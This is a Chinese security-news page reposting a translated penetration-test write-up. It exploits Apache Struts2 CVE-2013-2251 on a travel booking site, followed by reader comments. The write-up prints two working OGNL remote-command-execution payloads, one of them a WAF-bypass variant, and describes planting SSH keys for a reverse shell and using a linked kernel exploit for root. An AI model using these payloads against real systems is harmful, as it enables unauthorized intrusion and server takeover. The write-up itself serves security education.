CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 漏洞列表
  3. 正文

struts2 漏洞

2018年11月12日 1912点热度 0人点赞 0条评论
  • FB招聘站
  • 分类阅读
  • 专栏
  • 公开课
  • FIT 2019
  • 企业服务
  • 用户服务
  • 搜索
  • 投稿
  • 登录
  • 注册

如何利用Struts2漏洞绕过防火墙获取Root权限

clouds2018-05-17共273804人围观 ,发现 11 个不明物体WEB安全

本文我要分享的是关于Apache struts2 CVE-2013–2251漏洞的,由于该漏洞可以导致远程代码执行,曾一度被广泛滥用。该漏洞原理在于,通过操纵前缀为“action:”/”redirect:”/”redirectAction:”的参数,在Struts 低于2.3.15的版本框架中实现远程代码执行。此次测试中,我不仅绕过了WAF防火墙实现远程代码执行,还利用了某Linux提权漏洞获取了目标服务器的root管理控制权。整个过程如下:

构造Payload被WAF拦截

首先我在测试一个旅游预订网站的时候,发现了其网站存在有漏洞的Apache Struts框架,又对“action, redirect,redirectAction”漏洞参数进行了必要的测试,为了实现漏洞利用,需要构造一个OGNL表达式,从这个网站上我得到了一些启示,由此,我构造了一个执行命令”ifconfig”的有效Payload:

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

01.png

但不出所料,以上Payload却被目标服务器上的应用层防火墙拦截了,返回了以下bots响应页面:

02.png

这时,我总会从根本性上来分析问题,之前提到过,漏洞参数中涉及 “Redirect”,而上述Payload也是利用了 “Redirect”参数构造的,那我们再对目标网站的请求作个Redirect测试吧,把请求跳转到假设网站http://www.goal.com上来,如下:

03.png

构造Payload绕过WAF

可以看到,最终响应页面中是一个指向假设网站http://www.goal.com的302跳转页面。上述直接的Payload被防火墙阻挡了,而这里的跳转却能生效,那两者结合是不是可以玩个防火墙绕过呢?所以,也就有了以下Payload:

redirect:http://www.goal.com/${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

测试后发起的请求如下:

04.png

响应测试后,竟然能绕过防火墙执行ifconfig命令,哈哈,是时候欢呼了!

05.png

SSH方式获取shell

好吧,接下来,我就来尝试远程管理权限获取。我使用了反向SSH隧道和公钥身份验证进行了尝试,这种方式,允许SSH用户无需输入密码即可登录。为此呢,我需要把我入侵测试服务器AWS的SSH公钥放到目标服务器的授权认证列表~/.ssh/authorized_keys中去,并且,为了证实身份和作反向SSH连接,我还必需在我的测试服务器中添加进目标服务器的id_rsa.pub公钥。这里涉及的公钥认证概念可参考此处public key authentication说明。

id_rsa.pub是一个用户身份公钥,可以把它添加进其它主机中的authorized_keys文件中,以实现用该用户身份的登录行为。authorized_keys则是允许登录到该特定服务器上的特定用户的公钥列表。

第一步,获取目标服务器的id_rsa.pub文件:

06.png

第二步,把authorized_keys文件复制到我的AWS测试服务器中:

07.png

第三步,将我AWS测试服务器中构造好的authorized_keys文件复制回目标服务器中:

08.png

使用SSH反向实现最终连接:

09.png

root提权

看到了吧,可以获取远程管理权限,但却不是root管理员身份。好吧,为了要root身份提权,我来看看目标服务器上的Linux内核版本:

10.png

是 2.6.32 版本的,Google一下,看看有没有对应的漏洞,哇,竟然有一个对应的系统提权漏洞:https://github.com/realtalk/cve-2013-2094 ,最终编译运行exploit,实现root提权:

11.png

好吧,以上就是我利用apache strut 2漏洞,绕过WAF并结合某Linux提权漏洞实现的一次渗透测试。没有高大上的技巧,仅当思路拓展,不足之处,大牛多多包涵。

*参考来源:medium,FreeBuf 小编 clouds 编译,转载请注明来自 FreeBuf.COM

clouds

clouds294 篇文章等级: 9级
|
|
  • 上一篇:端口转发流量操控工具总结
  • 下一篇:Burpsuit结合SQLMapAPI产生的批量注入插件(X10)
发表评论

已有 11 条评论

  • an 2018-05-17回复1楼

    虽然不太明白,但这东西好像一直都挺火。

    亮了(0)
  • softbug (7级)i am here! 2018-05-17回复2楼

    一句话,它把白名单里全部的东西给放行了。配置的问题。白名单也需要接受完整的检查啊!

    亮了(1)
    • dawner (9级)黎明已经过去,黑暗就在眼前! 2018-05-17回复

      @ softbug  感觉这类文审核放行的太慢..

      亮了(0)
  • dear 2018-05-17回复3楼

    这码打的,让人很不舒服

    亮了(0)
  • 辣鸡百毒 2018-05-17回复4楼

    这个才是原文:https://wiki.ioin.in/url/74Vb
    翻译的也能算原创给奖励了?

    亮了(0)
    • Akane (8级) 2018-05-17回复

      @ 辣鸡百毒 这篇本来就是翻译的呀,并没有原创奖励

      亮了(1)
      • 辣鸡百毒 2018-05-18回复

        @ Akane  刚发出来的时候是有¥这个图标的

        亮了(0)
  • hahaha 2018-05-18回复5楼

    google是什么

    亮了(0)
  • 2018 2018-05-18回复6楼

    细节决定成败 :mrgreen: 细心

    亮了(0)
  • weejii 2018-05-18回复7楼

    感觉是翻译的

    亮了(0)
  • admin123 2018-05-18回复8楼

    渗透屌不屌,就看谷歌用的好不好

    亮了(0)

 

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

clouds

clouds

I am a robot ,do not talk to me ,code to me.

294文章数38评论数

最近文章

市面上多种流行的固态硬盘产品存在硬盘加密机制绕过漏洞

2018.11.11

看我如何利用发现的漏洞接管D-Link路由器

2018.11.10

研究人员欲公布微软Edge浏览器0-day沙盒逃逸漏洞

2018.11.08

浏览更多

相关阅读

  • S2-029 Struts2 标签远程代码执行分析(含POC)
  • Linux爆新漏洞,长按回车键70秒即可获得root权限
  • 如何获取安卓iOS上的微信聊天记录、通过Metasploit控制安卓
  • Vulnhub实战靶场IMF教程
  • 在Linux上通过可写文件获取root权限的多种方式

特别推荐

关注我们 分享每日精选文章

活动预告

  • 11月

    FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气

    已结束
  • 10月

    【16课时-连载中】挖掘CVE不是梦(系列课程2)

    已结束
  • 10月

    【首节课仅需1元】挖掘CVE不是梦

    已结束
  • 9月

    【已结束】自炼神兵之自动化批量刷SRC

    已结束

FREEBUF

  • 免责声明
  • 协议条款
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2018年11月12日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me